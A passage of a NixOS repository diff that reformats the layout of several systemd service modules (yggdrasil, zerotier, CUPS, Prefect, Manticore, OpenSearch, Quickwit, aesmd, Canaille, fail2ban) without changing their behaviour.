           exec ${binYggdrasil} -useconffile /run/yggdrasil/yggdrasil.conf ${lib.strings.escapeShellArgs cfg.extraArgs}
         '';
 
-        serviceConfig =
-          {
-            ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
-            Restart = "always";
+        serviceConfig = {
+          ExecReload = "${pkgs.coreutils}/bin/kill -HUP $MAINPID";
+          Restart = "always";
 
-            DynamicUser = true;
-            StateDirectory = "yggdrasil";
-            RuntimeDirectory = "yggdrasil";
-            RuntimeDirectoryMode = "0750";
-            BindReadOnlyPaths = lib.optional cfg.persistentKeys keysPath;
-            LoadCredential = mkIf configFileProvided "yggdrasil.conf:${cfg.configFile}";
+          DynamicUser = true;
+          StateDirectory = "yggdrasil";
+          RuntimeDirectory = "yggdrasil";
+          RuntimeDirectoryMode = "0750";
+          BindReadOnlyPaths = lib.optional cfg.persistentKeys keysPath;
+          LoadCredential = mkIf configFileProvided "yggdrasil.conf:${cfg.configFile}";
 
-            AmbientCapabilities = "CAP_NET_ADMIN CAP_NET_BIND_SERVICE";
-            CapabilityBoundingSet = "CAP_NET_ADMIN CAP_NET_BIND_SERVICE";
-            MemoryDenyWriteExecute = true;
-            ProtectControlGroups = true;
-            ProtectHome = "tmpfs";
-            ProtectKernelModules = true;
-            ProtectKernelTunables = true;
-            RestrictAddressFamilies = "AF_UNIX AF_INET AF_INET6 AF_NETLINK";
-            RestrictNamespaces = true;
-            RestrictRealtime = true;
-            SystemCallArchitectures = "native";
-            SystemCallFilter = [
-              "@system-service"
-              "~@privileged @keyring"
-            ];
-          }
-          // (
-            if (cfg.group != null) then
-              {
-                Group = cfg.group;
-              }
-            else
-              { }
-          );
+          AmbientCapabilities = "CAP_NET_ADMIN CAP_NET_BIND_SERVICE";
+          CapabilityBoundingSet = "CAP_NET_ADMIN CAP_NET_BIND_SERVICE";
+          MemoryDenyWriteExecute = true;
+          ProtectControlGroups = true;
+          ProtectHome = "tmpfs";
+          ProtectKernelModules = true;
+          ProtectKernelTunables = true;
+          RestrictAddressFamilies = "AF_UNIX AF_INET AF_INET6 AF_NETLINK";
+          RestrictNamespaces = true;
+          RestrictRealtime = true;
+          SystemCallArchitectures = "native";
+          SystemCallFilter = [
+            "@system-service"
+            "~@privileged @keyring"
+          ];
+        }
+        // (
+          if (cfg.group != null) then
+            {
+              Group = cfg.group;
+            }
+          else
+            { }
+        );
       };
 
       networking.dhcpcd.denyInterfaces = cfg.denyDhcpcdInterfaces;
diff --git a/nixos/modules/services/networking/zerotierone.nix b/nixos/modules/services/networking/zerotierone.nix
index ebf800cf3f26..5981935f38c5 100644
--- a/nixos/modules/services/networking/zerotierone.nix
+++ b/nixos/modules/services/networking/zerotierone.nix
@@ -61,27 +61,26 @@ in
 
       path = [ cfg.package ];
 
-      preStart =
-        ''
-          mkdir -p /var/lib/zerotier-one/networks.d
-          chmod 700 /var/lib/zerotier-one
-          chown -R root:root /var/lib/zerotier-one
+      preStart = ''
+        mkdir -p /var/lib/zerotier-one/networks.d
+        chmod 700 /var/lib/zerotier-one
+        chown -R root:root /var/lib/zerotier-one
 
-          # cleans up old symlinks also if we unset localConf
-          if [[ -L "${localConfFilePath}" && "$(readlink "${localConfFilePath}")" =~ ^${builtins.storeDir}.* ]]; then
-            rm ${localConfFilePath}
-          fi
-        ''
-        + (concatMapStrings (netId: ''
-          touch "/var/lib/zerotier-one/networks.d/${netId}.conf"
-        '') cfg.joinNetworks)
-        + lib.optionalString (cfg.localConf != { }) ''
-          # in case the user has applied manual changes to the local.conf, we backup the file
-          if [ -f "${localConfFilePath}" ]; then
-            mv ${localConfFilePath} ${localConfFilePath}.bak
-          fi
-          ln -s ${localConfFile} ${localConfFilePath}
-        '';
+        # cleans up old symlinks also if we unset localConf
+        if [[ -L "${localConfFilePath}" && "$(readlink "${localConfFilePath}")" =~ ^${builtins.storeDir}.* ]]; then
+          rm ${localConfFilePath}
+        fi
+      ''
+      + (concatMapStrings (netId: ''
+        touch "/var/lib/zerotier-one/networks.d/${netId}.conf"
+      '') cfg.joinNetworks)
+      + lib.optionalString (cfg.localConf != { }) ''
+        # in case the user has applied manual changes to the local.conf, we backup the file
+        if [ -f "${localConfFilePath}" ]; then
+          mv ${localConfFilePath} ${localConfFilePath}.bak
+        fi
+        ln -s ${localConfFile} ${localConfFilePath}
+      '';
 
       serviceConfig = {
         ExecStart = "${cfg.package}/bin/zerotier-one -p${toString cfg.port}";
diff --git a/nixos/modules/services/printing/cupsd.nix b/nixos/modules/services/printing/cupsd.nix
index a0932f131ec4..326c721f81ec 100644
--- a/nixos/modules/services/printing/cupsd.nix
+++ b/nixos/modules/services/printing/cupsd.nix
@@ -53,7 +53,8 @@ let
       libcupsfilters
       cups-filters
       pkgs.ghostscript
-    ] ++ cfg.drivers;
+    ]
+    ++ cfg.drivers;
     pathsToLink = [
       "/lib"
       "/share/cups"
@@ -116,15 +117,14 @@ let
 
   rootdir = pkgs.buildEnv {
     name = "cups-progs";
-    paths =
-      [
-        cupsFilesFile
-        cupsdFile
-        (writeConf "client.conf" cfg.clientConf)
-        (writeConf "snmp.conf" cfg.snmpConf)
-      ]
-      ++ optional cfg.browsed.enable browsedFile
-      ++ cfg.drivers;
+    paths = [
+      cupsFilesFile
+      cupsdFile
+      (writeConf "client.conf" cfg.clientConf)
+      (writeConf "snmp.conf" cfg.snmpConf)
+    ]
+    ++ optional cfg.browsed.enable browsedFile
+    ++ cfg.drivers;
     pathsToLink = [ "/etc/cups" ];
     ignoreCollisions = true;
   };
@@ -372,7 +372,8 @@ in
     environment.systemPackages = [
       cups.out
       xdg-utils
-    ] ++ optional polkitEnabled cups-pk-helper;
+    ]
+    ++ optional polkitEnabled cups-pk-helper;
     environment.etc.cups.source = "/var/lib/cups";
 
     services.dbus.packages = [ cups.out ] ++ optional polkitEnabled cups-pk-helper;
@@ -401,14 +402,13 @@ in
 
     systemd.sockets.cups = mkIf cfg.startWhenNeeded {
       wantedBy = [ "sockets.target" ];
-      listenStreams =
-        [
-          ""
-          "/run/cups/cups.sock"
-        ]
-        ++ map (
-          x: replaceStrings [ "localhost" ] [ "127.0.0.1" ] (removePrefix "*:" x)
-        ) cfg.listenAddresses;
+      listenStreams = [
+        ""
+        "/run/cups/cups.sock"
+      ]
+      ++ map (
+        x: replaceStrings [ "localhost" ] [ "127.0.0.1" ] (removePrefix "*:" x)
+      ) cfg.listenAddresses;
     };
 
     systemd.services.cups = {
diff --git a/nixos/modules/services/scheduling/prefect.nix b/nixos/modules/services/scheduling/prefect.nix
index 409279edd692..c0a5fae52703 100644
--- a/nixos/modules/services/scheduling/prefect.nix
+++ b/nixos/modules/services/scheduling/prefect.nix
@@ -129,104 +129,103 @@ in
 
   config = lib.mkIf cfg.enable {
     # define systemd.services as the server plus any worker definitions
-    systemd.services =
-      {
-        "prefect-server" = {
-          description = "prefect server";
-          wantedBy = [ "multi-user.target" ];
-          after = [ "network.target" ];
+    systemd.services = {
+      "prefect-server" = {
+        description = "prefect server";
+        wantedBy = [ "multi-user.target" ];
+        after = [ "network.target" ];
 
-          serviceConfig = {
-            DynamicUser = true;
-            StateDirectory = "prefect-server";
-            # TODO all my efforts to setup the database url
-            # have failed with some unable to open file
-            Environment = [
-              "PREFECT_HOME=%S/prefect-server"
-              "PREFECT_UI_STATIC_DIRECTORY=%S/prefect-server"
-              "PREFECT_SERVER_ANALYTICS_ENABLED=off"
-              "PREFECT_UI_API_URL=${cfg.baseUrl}/api"
-              "PREFECT_UI_URL=${cfg.baseUrl}"
-            ];
-            EnvironmentFile =
-              if cfg.database == "postgres" && cfg.databasePasswordFile != null then
-                [ cfg.databasePasswordFile ]
-              else
-                [ ];
+        serviceConfig = {
+          DynamicUser = true;
+          StateDirectory = "prefect-server";
+          # TODO all my efforts to setup the database url
+          # have failed with some unable to open file
+          Environment = [
+            "PREFECT_HOME=%S/prefect-server"
+            "PREFECT_UI_STATIC_DIRECTORY=%S/prefect-server"
+            "PREFECT_SERVER_ANALYTICS_ENABLED=off"
+            "PREFECT_UI_API_URL=${cfg.baseUrl}/api"
+            "PREFECT_UI_URL=${cfg.baseUrl}"
+          ];
+          EnvironmentFile =
+            if cfg.database == "postgres" && cfg.databasePasswordFile != null then
+              [ cfg.databasePasswordFile ]
+            else
+              [ ];
 
-            # ReadWritePaths = [ cfg.dataDir ];
-            ProtectSystem = "strict";
-            ProtectHome = true;
-            PrivateTmp = true;
-            NoNewPrivileges = true;
-            MemoryDenyWriteExecute = true;
-            LockPersonality = true;
-            CapabilityBoundingSet = [ ];
-            AmbientCapabilities = [ ];
-            RestrictSUIDSGID = true;
-            RestrictAddressFamilies = [
-              "AF_INET"
-              "AF_INET6"
-              "AF_UNIX"
-            ];
-            ProtectKernelTunables = true;
-            ProtectKernelModules = true;
-            ProtectKernelLogs = true;
-            ProtectControlGroups = true;
-            MemoryAccounting = true;
-            CPUAccounting = true;
+          # ReadWritePaths = [ cfg.dataDir ];
+          ProtectSystem = "strict";
+          ProtectHome = true;
+          PrivateTmp = true;
+          NoNewPrivileges = true;
+          MemoryDenyWriteExecute = true;
+          LockPersonality = true;
+          CapabilityBoundingSet = [ ];
+          AmbientCapabilities = [ ];
+          RestrictSUIDSGID = true;
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+            "AF_UNIX"
+          ];
+          ProtectKernelTunables = true;
+          ProtectKernelModules = true;
+          ProtectKernelLogs = true;
+          ProtectControlGroups = true;
+          MemoryAccounting = true;
+          CPUAccounting = true;
 
-            ExecStart = "${pkgs.prefect}/bin/prefect server start --host ${cfg.host} --port ${toString cfg.port}";
-            Restart = "always";
-            WorkingDirectory = cfg.dataDir;
-          };
+          ExecStart = "${pkgs.prefect}/bin/prefect server start --host ${cfg.host} --port ${toString cfg.port}";
+          Restart = "always";
+          WorkingDirectory = cfg.dataDir;
         };
-      }
-      // lib.concatMapAttrs (poolName: poolCfg: {
-        # return a partial attr set with one key: "prefect-worker-..."
-        "prefect-worker-${poolName}" = {
-          description = "prefect worker for pool '${poolName}'";
-          wantedBy = [ "multi-user.target" ];
-          after = [ "network.target" ];
+      };
+    }
+    // lib.concatMapAttrs (poolName: poolCfg: {
+      # return a partial attr set with one key: "prefect-worker-..."
+      "prefect-worker-${poolName}" = {
+        description = "prefect worker for pool '${poolName}'";
+        wantedBy = [ "multi-user.target" ];
+        after = [ "network.target" ];
 
-          environment.systemPackages = cfg.package;
+        environment.systemPackages = cfg.package;
 
-          serviceConfig = {
-            DynamicUser = true;
-            StateDirectory = "prefect-worker-${poolName}";
-            Environment = [
-              "PREFECT_HOME=%S/prefect-worker-${poolName}"
-              "PREFECT_API_URL=${cfg.baseUrl}/api"
-            ];
-            ProtectSystem = "strict";
-            ProtectHome = true;
-            PrivateTmp = true;
-            NoNewPrivileges = true;
-            MemoryDenyWriteExecute = true;
-            LockPersonality = true;
-            CapabilityBoundingSet = [ ];
-            AmbientCapabilities = [ ];
-            RestrictSUIDSGID = true;
-            RestrictAddressFamilies = [
-              "AF_INET"
-              "AF_INET6"
-              "AF_UNIX"
-            ];
-            ProtectKernelTunables = true;
-            ProtectKernelModules = true;
-            ProtectKernelLogs = true;
-            ProtectControlGroups = true;
-            MemoryAccounting = true;
-            CPUAccounting = true;
-            ExecStart = ''
-              ${pkgs.prefect}/bin/prefect worker start \
-                --pool ${poolName} \
-                --type process \
-                --install-policy ${poolCfg.installPolicy}
-            '';
-            Restart = "always";
-          };
+        serviceConfig = {
+          DynamicUser = true;
+          StateDirectory = "prefect-worker-${poolName}";
+          Environment = [
+            "PREFECT_HOME=%S/prefect-worker-${poolName}"
+            "PREFECT_API_URL=${cfg.baseUrl}/api"
+          ];
+          ProtectSystem = "strict";
+          ProtectHome = true;
+          PrivateTmp = true;
+          NoNewPrivileges = true;
+          MemoryDenyWriteExecute = true;
+          LockPersonality = true;
+          CapabilityBoundingSet = [ ];
+          AmbientCapabilities = [ ];
+          RestrictSUIDSGID = true;
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+            "AF_UNIX"
+          ];
+          ProtectKernelTunables = true;
+          ProtectKernelModules = true;
+          ProtectKernelLogs = true;
+          ProtectControlGroups = true;
+          MemoryAccounting = true;
+          CPUAccounting = true;
+          ExecStart = ''
+            ${pkgs.prefect}/bin/prefect worker start \
+              --pool ${poolName} \
+              --type process \
+              --install-policy ${poolCfg.installPolicy}
+          '';
+          Restart = "always";
         };
-      }) cfg.workerPools;
+      };
+    }) cfg.workerPools;
   };
 }
diff --git a/nixos/modules/services/search/manticore.nix b/nixos/modules/services/search/manticore.nix
index e69c6d8c59f2..cbedb5630d0e 100644
--- a/nixos/modules/services/search/manticore.nix
+++ b/nixos/modules/services/search/manticore.nix
@@ -94,51 +94,50 @@ in
       services.manticore = {
         wantedBy = [ "multi-user.target" ];
         after = [ "network.target" ];
-        serviceConfig =
-          {
-            ExecStart = [
-              ""
-              "${pkgs.manticoresearch}/bin/searchd --config ${configFile}"
-            ];
-            ExecStop = [
-              ""
-              "${pkgs.manticoresearch}/bin/searchd --config ${configFile} --stopwait"
-            ];
-            ExecStartPre = [ "" ];
-            DynamicUser = true;
-            LogsDirectory = "manticore";
-            RuntimeDirectory = "manticore";
-            StateDirectory = "manticore";
-            ReadWritePaths = "";
-            CapabilityBoundingSet = "";
-            RestrictAddressFamilies = [
-              "AF_UNIX"
-              "AF_INET"
-              "AF_INET6"
-            ];
-            RestrictNamespaces = true;
-            PrivateDevices = true;
-            PrivateUsers = true;
-            ProtectClock = true;
-            ProtectControlGroups = true;
-            ProtectHome = true;
-            ProtectKernelLogs = true;
-            ProtectKernelModules = true;
-            ProtectKernelTunables = true;
-            SystemCallArchitectures = "native";
-            SystemCallFilter = [
-              "@system-service"
-              "~@privileged"
-            ];
-            RestrictRealtime = true;
-            LockPersonality = true;
-            MemoryDenyWriteExecute = true;
-            UMask = "0066";
-            ProtectHostname = true;
-          }
-          // lib.optionalAttrs (cfg.settings.searchd.pid_file != null) {
-            PIDFile = cfg.settings.searchd.pid_file;
-          };
+        serviceConfig = {
+          ExecStart = [
+            ""
+            "${pkgs.manticoresearch}/bin/searchd --config ${configFile}"
+          ];
+          ExecStop = [
+            ""
+            "${pkgs.manticoresearch}/bin/searchd --config ${configFile} --stopwait"
+          ];
+          ExecStartPre = [ "" ];
+          DynamicUser = true;
+          LogsDirectory = "manticore";
+          RuntimeDirectory = "manticore";
+          StateDirectory = "manticore";
+          ReadWritePaths = "";
+          CapabilityBoundingSet = "";
+          RestrictAddressFamilies = [
+            "AF_UNIX"
+            "AF_INET"
+            "AF_INET6"
+          ];
+          RestrictNamespaces = true;
+          PrivateDevices = true;
+          PrivateUsers = true;
+          ProtectClock = true;
+          ProtectControlGroups = true;
+          ProtectHome = true;
+          ProtectKernelLogs = true;
+          ProtectKernelModules = true;
+          ProtectKernelTunables = true;
+          SystemCallArchitectures = "native";
+          SystemCallFilter = [
+            "@system-service"
+            "~@privileged"
+          ];
+          RestrictRealtime = true;
+          LockPersonality = true;
+          MemoryDenyWriteExecute = true;
+          UMask = "0066";
+          ProtectHostname = true;
+        }
+        // lib.optionalAttrs (cfg.settings.searchd.pid_file != null) {
+          PIDFile = cfg.settings.searchd.pid_file;
+        };
       };
     };
 
diff --git a/nixos/modules/services/search/opensearch.nix b/nixos/modules/services/search/opensearch.nix
index 6630dd017db6..eb2ec893698e 100644
--- a/nixos/modules/services/search/opensearch.nix
+++ b/nixos/modules/services/search/opensearch.nix
@@ -182,93 +182,91 @@ in
         OPENSEARCH_JAVA_OPTS = toString cfg.extraJavaOptions;
         OPENSEARCH_PATH_CONF = configDir;
       };
-      serviceConfig =
-        {
-          ExecStartPre =
-            let
-              startPreFullPrivileges =
-                ''
-                  set -o errexit -o pipefail -o nounset -o errtrace
-                  shopt -s inherit_errexit
-                ''
-                + (lib.optionalString (!config.boot.isContainer) ''
-                  # Only set vm.max_map_count if lower than ES required minimum
-                  # This avoids conflict if configured via boot.kernel.sysctl
-                  if [ $(${pkgs.procps}/bin/sysctl -n vm.max_map_count) -lt 262144 ]; then
-                    ${pkgs.procps}/bin/sysctl -w vm.max_map_count=262144
-                  fi
-                '');
-              startPreUnprivileged = ''
-                set -o errexit -o pipefail -o nounset -o errtrace
-                shopt -s inherit_errexit
+      serviceConfig = {
+        ExecStartPre =
+          let
+            startPreFullPrivileges = ''
+              set -o errexit -o pipefail -o nounset -o errtrace
+              shopt -s inherit_errexit
+            ''
+            + (lib.optionalString (!config.boot.isContainer) ''
+              # Only set vm.max_map_count if lower than ES required minimum
+              # This avoids conflict if configured via boot.kernel.sysctl
+              if [ $(${pkgs.procps}/bin/sysctl -n vm.max_map_count) -lt 262144 ]; then
+                ${pkgs.procps}/bin/sysctl -w vm.max_map_count=262144
+              fi
+            '');
+            startPreUnprivileged = ''
+              set -o errexit -o pipefail -o nounset -o errtrace
+              shopt -s inherit_errexit
 
-                # Install plugins
+              # Install plugins
 
-                # remove plugins directory if it is empty.
-                if [[ -d ${cfg.dataDir}/plugins && -z "$(ls -A ${cfg.dataDir}/plugins)" ]]; then
-                  rm -r "${cfg.dataDir}/plugins"
-                fi
+              # remove plugins directory if it is empty.
+              if [[ -d ${cfg.dataDir}/plugins && -z "$(ls -A ${cfg.dataDir}/plugins)" ]]; then
+                rm -r "${cfg.dataDir}/plugins"
+              fi
 
-                ln -sfT "${cfg.package}/plugins" "${cfg.dataDir}/plugins"
-                ln -sfT ${cfg.package}/lib ${cfg.dataDir}/lib
-                ln -sfT ${cfg.package}/modules ${cfg.dataDir}/modules
+              ln -sfT "${cfg.package}/plugins" "${cfg.dataDir}/plugins"
+              ln -sfT ${cfg.package}/lib ${cfg.dataDir}/lib
+              ln -sfT ${cfg.package}/modules ${cfg.dataDir}/modules
 
-                # opensearch needs to create the opensearch.keystore in the config directory
-                # so this directory needs to be writable.
-                mkdir -p ${configDir}
-                chmod 0700 ${configDir}
+              # opensearch needs to create the opensearch.keystore in the config directory
+              # so this directory needs to be writable.
+              mkdir -p ${configDir}
+              chmod 0700 ${configDir}
 
-                # Note that we copy config files from the nix store instead of symbolically linking them
-                # because otherwise X-Pack Security will raise the following exception:
-                # java.security.AccessControlException:
-                # access denied ("java.io.FilePermission" "/var/lib/opensearch/config/opensearch.yml" "read")
+              # Note that we copy config files from the nix store instead of symbolically linking them
+              # because otherwise X-Pack Security will raise the following exception:
+              # java.security.AccessControlException:
+              # access denied ("java.io.FilePermission" "/var/lib/opensearch/config/opensearch.yml" "read")
 
-                rm -f ${configDir}/opensearch.yml
-                cp ${opensearchYml} ${configDir}/opensearch.yml
+              rm -f ${configDir}/opensearch.yml
+              cp ${opensearchYml} ${configDir}/opensearch.yml
 
-                # Make sure the logging configuration for old OpenSearch versions is removed:
-                rm -f "${configDir}/logging.yml"
-                rm -f ${configDir}/${loggingConfigFilename}
-                cp ${loggingConfigFile} ${configDir}/${loggingConfigFilename}
-                mkdir -p ${configDir}/scripts
+              # Make sure the logging configuration for old OpenSearch versions is removed:
+              rm -f "${configDir}/logging.yml"
+              rm -f ${configDir}/${loggingConfigFilename}
+              cp ${loggingConfigFile} ${configDir}/${loggingConfigFilename}
+              mkdir -p ${configDir}/scripts
 
-                rm -f ${configDir}/jvm.options
-                cp ${cfg.package}/config/jvm.options ${configDir}/jvm.options
+              rm -f ${configDir}/jvm.options
+              cp ${cfg.package}/config/jvm.options ${configDir}/jvm.options
 
-                # redirect jvm logs to the data directory
-                mkdir -p ${cfg.dataDir}/logs
-                chmod 0700 ${cfg.dataDir}/logs
-                sed -e '#logs/gc.log#${cfg.dataDir}/logs/gc.log#' -i ${configDir}/jvm.options
-              '';
-            in
-            [
-              "+${pkgs.writeShellScript "opensearch-start-pre-full-privileges" startPreFullPrivileges}"
-              "${pkgs.writeShellScript "opensearch-start-pre-unprivileged" startPreUnprivileged}"
-            ];
-          ExecStartPost = pkgs.writeShellScript "opensearch-start-post" ''
-            set -o errexit -o pipefail -o nounset -o errtrace
-            shopt -s inherit_errexit
+              # redirect jvm logs to the data directory
+              mkdir -p ${cfg.dataDir}/logs
+              chmod 0700 ${cfg.dataDir}/logs
+              sed -e '#logs/gc.log#${cfg.dataDir}/logs/gc.log#' -i ${configDir}/jvm.options
+            '';
+          in
+          [
+            "+${pkgs.writeShellScript "opensearch-start-pre-full-privileges" startPreFullPrivileges}"
+            "${pkgs.writeShellScript "opensearch-start-pre-unprivileged" startPreUnprivileged}"
+          ];
+        ExecStartPost = pkgs.writeShellScript "opensearch-start-post" ''
+          set -o errexit -o pipefail -o nounset -o errtrace
+          shopt -s inherit_errexit
 
-            # Make sure opensearch is up and running before dependents
-            # are started
-            while ! ${pkgs.curl}/bin/curl -sS -f http://${cfg.settings."network.host"}:${
-              toString cfg.settings."http.port"
-            } 2>/dev/null; do
-              sleep 1
-            done
-          '';
-          ExecStart = "${cfg.package}/bin/opensearch ${toString cfg.extraCmdLineOptions}";
-          User = cfg.user;
-          Group = cfg.group;
-          LimitNOFILE = "1024000";
-          Restart = "always";
-          TimeoutStartSec = "infinity";
-          DynamicUser = usingDefaultUserAndGroup && usingDefaultDataDir;
-        }
-        // (lib.optionalAttrs (usingDefaultDataDir) {
-          StateDirectory = "opensearch";
-          StateDirectoryMode = "0700";
-        });
+          # Make sure opensearch is up and running before dependents
+          # are started
+          while ! ${pkgs.curl}/bin/curl -sS -f http://${cfg.settings."network.host"}:${
+            toString cfg.settings."http.port"
+          } 2>/dev/null; do
+            sleep 1
+          done
+        '';
+        ExecStart = "${cfg.package}/bin/opensearch ${toString cfg.extraCmdLineOptions}";
+        User = cfg.user;
+        Group = cfg.group;
+        LimitNOFILE = "1024000";
+        Restart = "always";
+        TimeoutStartSec = "infinity";
+        DynamicUser = usingDefaultUserAndGroup && usingDefaultDataDir;
+      }
+      // (lib.optionalAttrs (usingDefaultDataDir) {
+        StateDirectory = "opensearch";
+        StateDirectoryMode = "0700";
+      });
     };
 
     environment.systemPackages = [ cfg.package ];
diff --git a/nixos/modules/services/search/quickwit.nix b/nixos/modules/services/search/quickwit.nix
index c8b1c1c516e9..4fd74c1543e0 100644
--- a/nixos/modules/services/search/quickwit.nix
+++ b/nixos/modules/services/search/quickwit.nix
@@ -136,57 +136,56 @@ in
       environment = {
         QW_DATA_DIR = cfg.dataDir;
       };
-      serviceConfig =
-        {
-          ExecStart = ''
-            ${cfg.package}/bin/quickwit run --config ${quickwitYml} \
-            ${lib.escapeShellArgs cfg.extraFlags}
-          '';
-          User = cfg.user;
-          Group = cfg.group;
-          Restart = "on-failure";
-          DynamicUser = usingDefaultUserAndGroup && usingDefaultDataDir;
-          CapabilityBoundingSet = [ "" ];
-          DevicePolicy = "closed";
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          NoNewPrivileges = true;
-          PrivateDevices = true;
-          ProcSubset = "pid";
-          ProtectClock = true;
-          ProtectHome = true;
-          ProtectHostname = true;
-          ProtectControlGroups = true;
-          ProtectKernelLogs = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          ProtectProc = "invisible";
-          ProtectSystem = "strict";
-          ReadWritePaths = [
-            cfg.dataDir
-          ];
-          RestrictAddressFamilies = [
-            "AF_NETLINK"
-            "AF_INET"
-            "AF_INET6"
-          ];
-          RestrictNamespaces = true;
-          RestrictRealtime = true;
-          RestrictSUIDSGID = true;
-          SystemCallArchitectures = "native";
-          SystemCallFilter = [
-            # 1. allow a reasonable set of syscalls
-            "@system-service @resources"
-            # 2. and deny unreasonable ones
-            "~@privileged"
-            # 3. then allow the required subset within denied groups
-            "@chown"
-          ];
-        }
-        // (lib.optionalAttrs (usingDefaultDataDir) {
-          StateDirectory = "quickwit";
-          StateDirectoryMode = "0700";
-        });
+      serviceConfig = {
+        ExecStart = ''
+          ${cfg.package}/bin/quickwit run --config ${quickwitYml} \
+          ${lib.escapeShellArgs cfg.extraFlags}
+        '';
+        User = cfg.user;
+        Group = cfg.group;
+        Restart = "on-failure";
+        DynamicUser = usingDefaultUserAndGroup && usingDefaultDataDir;
+        CapabilityBoundingSet = [ "" ];
+        DevicePolicy = "closed";
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectControlGroups = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        ReadWritePaths = [
+          cfg.dataDir
+        ];
+        RestrictAddressFamilies = [
+          "AF_NETLINK"
+          "AF_INET"
+          "AF_INET6"
+        ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        RestrictSUIDSGID = true;
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          # 1. allow a reasonable set of syscalls
+          "@system-service @resources"
+          # 2. and deny unreasonable ones
+          "~@privileged"
+          # 3. then allow the required subset within denied groups
+          "@chown"
+        ];
+      }
+      // (lib.optionalAttrs (usingDefaultDataDir) {
+        StateDirectory = "quickwit";
+        StateDirectoryMode = "0700";
+      });
     };
 
     environment.systemPackages = [ cfg.package ];
diff --git a/nixos/modules/services/security/aesmd.nix b/nixos/modules/services/security/aesmd.nix
index 4f7f55e78e99..7a05fde7d3cb 100644
--- a/nixos/modules/services/security/aesmd.nix
+++ b/nixos/modules/services/security/aesmd.nix
@@ -153,7 +153,8 @@ in
           NAME = "aesm_service";
           AESM_PATH = storeAesmFolder;
           LD_LIBRARY_PATH = makeLibraryPath [ cfg.quoteProviderLibrary ];
-        } // cfg.environment;
+        }
+        // cfg.environment;
 
         # Make sure any of the SGX application enclave devices is available
         unitConfig.AssertPathExists = [
diff --git a/nixos/modules/services/security/canaille.nix b/nixos/modules/services/security/canaille.nix
index 4489b5f71c1e..fd11ac58df53 100644
--- a/nixos/modules/services/security/canaille.nix
+++ b/nixos/modules/services/security/canaille.nix
@@ -264,20 +264,19 @@ in
     #
     # See this for how Pydantic maps file names/env vars to config settings:
     # https://docs.pydantic.dev/latest/concepts/pydantic_settings/#parsing-environment-variable-values
-    systemd.tmpfiles.rules =
-      [
-        "Z  ${secretsDir} 700 canaille canaille - -"
-        "L+ ${secretsDir}/SECRET_KEY - - - - ${cfg.secretKeyFile}"
-      ]
-      ++ optional (
-        cfg.smtpPasswordFile != null
-      ) "L+ ${secretsDir}/CANAILLE_SMTP__PASSWORD - - - - ${cfg.smtpPasswordFile}"
-      ++ optional (
-        cfg.jwtPrivateKeyFile != null
-      ) "L+ ${secretsDir}/CANAILLE_OIDC__JWT__PRIVATE_KEY - - - - ${cfg.jwtPrivateKeyFile}"
-      ++ optional (
-        cfg.ldapBindPasswordFile != null
-      ) "L+ ${secretsDir}/CANAILLE_LDAP__BIND_PW - - - - ${cfg.ldapBindPasswordFile}";
+    systemd.tmpfiles.rules = [
+      "Z  ${secretsDir} 700 canaille canaille - -"
+      "L+ ${secretsDir}/SECRET_KEY - - - - ${cfg.secretKeyFile}"
+    ]
+    ++ optional (
+      cfg.smtpPasswordFile != null
+    ) "L+ ${secretsDir}/CANAILLE_SMTP__PASSWORD - - - - ${cfg.smtpPasswordFile}"
+    ++ optional (
+      cfg.jwtPrivateKeyFile != null
+    ) "L+ ${secretsDir}/CANAILLE_OIDC__JWT__PRIVATE_KEY - - - - ${cfg.jwtPrivateKeyFile}"
+    ++ optional (
+      cfg.ldapBindPasswordFile != null
+    ) "L+ ${secretsDir}/CANAILLE_LDAP__BIND_PW - - - - ${cfg.ldapBindPasswordFile}";
 
     # This is not a migration, just an initial setup of schemas
     systemd.services.canaille-install = {
@@ -296,7 +295,8 @@ in
       after = [
         "network.target"
         "canaille-install.service"
-      ] ++ optional createLocalPostgresqlDb "postgresql.service";
+      ]
+      ++ optional createLocalPostgresqlDb "postgresql.service";
       requires = [
         "canaille-install.service"
         "canaille.socket"
diff --git a/nixos/modules/services/security/fail2ban.nix b/nixos/modules/services/security/fail2ban.nix
index dffb246dd1d5..e71d04fdef9a 100644
--- a/nixos/modules/services/security/fail2ban.nix
+++ b/nixos/modules/services/security/fail2ban.nix
@@ -357,20 +357,19 @@ in
 
     environment.systemPackages = [ cfg.package ];
 
-    environment.etc =
-      {
-        "fail2ban/fail2ban.local".source = fail2banConf;
-        "fail2ban/jail.local".source = jailConf;
-        "fail2ban/fail2ban.conf".source = "${cfg.package}/etc/fail2ban/fail2ban.conf";
-        "fail2ban/jail.conf".source = "${cfg.package}/etc/fail2ban/jail.conf";
-        "fail2ban/paths-common.conf".source = "${cfg.package}/etc/fail2ban/paths-common.conf";
-        "fail2ban/paths-nixos.conf".source = pathsConf;
-        "fail2ban/action.d".source = "${cfg.package}/etc/fail2ban/action.d/*.conf";
-        "fail2ban/filter.d".source = "${cfg.package}/etc/fail2ban/filter.d/*.conf";
-      }
-      // (lib.mapAttrs' mkFilter (
-        lib.filterAttrs (_: v: v.filter != null && !builtins.isString v.filter) attrsJails
-      ));
+    environment.etc = {
+      "fail2ban/fail2ban.local".source = fail2banConf;
+      "fail2ban/jail.local".source = jailConf;
+      "fail2ban/fail2ban.conf".source = "${cfg.package}/etc/fail2ban/fail2ban.conf";
+      "fail2ban/jail.conf".source = "${cfg.package}/etc/fail2ban/jail.conf";
+      "fail2ban/paths-common.conf".source = "${cfg.package}/etc/fail2ban/paths-common.conf";
+      "fail2ban/paths-nixos.conf".source = pathsConf;
+      "fail2ban/action.d".source = "${cfg.package}/etc/fail2ban/action.d/*.conf";
+      "fail2ban/filter.d".source = "${cfg.package}/etc/fail2ban/filter.d/*.conf";
+    }
+    // (lib.mapAttrs' mkFilter (
